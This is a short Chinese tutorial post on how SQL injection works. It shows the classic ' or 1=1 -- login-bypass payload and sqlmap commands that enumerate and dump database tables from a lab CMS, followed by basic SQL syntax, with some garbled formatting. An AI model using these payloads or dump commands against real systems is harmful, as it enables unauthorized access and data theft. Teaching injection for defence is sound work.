sql注入原理
Posted 码小农的幸福生活
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sql注入原理相关的知识，希望对你有一定的参考价值。
登录SQL语句:
select * from admin where username = ‘用户输入的用户名‘ and password =用户输入的密码‘
用户输入的内容可由用户自行控制，例如可以输入‘or 1=1 --空格
SQL语句:
select * from admin where username=‘ or 1=1 -- ‘ and password = ‘用户输入的密码‘
sqlmap
使用sqlmap探测注入点
sqlmap -u "192.168.1.104: 8081/ cms/articles.php?id=1" - dbs
?
sqlmap -u "192. 168.1.104 : 8081/ cms/articles. php?id=1" -D 数据库 -T 表名 -C 字段1, 字段2 --dump
sql基础（增删改查）
增
?
INSERT INTO 表(字段1，字段2) VALUES (值1,值2);
?
删
?
DELETE FROM 表 where 条件;
?
改
?
UPDATE 表 SET 列1=值1,列2=值2 WHERE 条件
?
查
?
select 字段1,字段2 from 表 where 条件以上是关于sql注入原理的主要内容，如果未能解决你的问题，请参考以下文章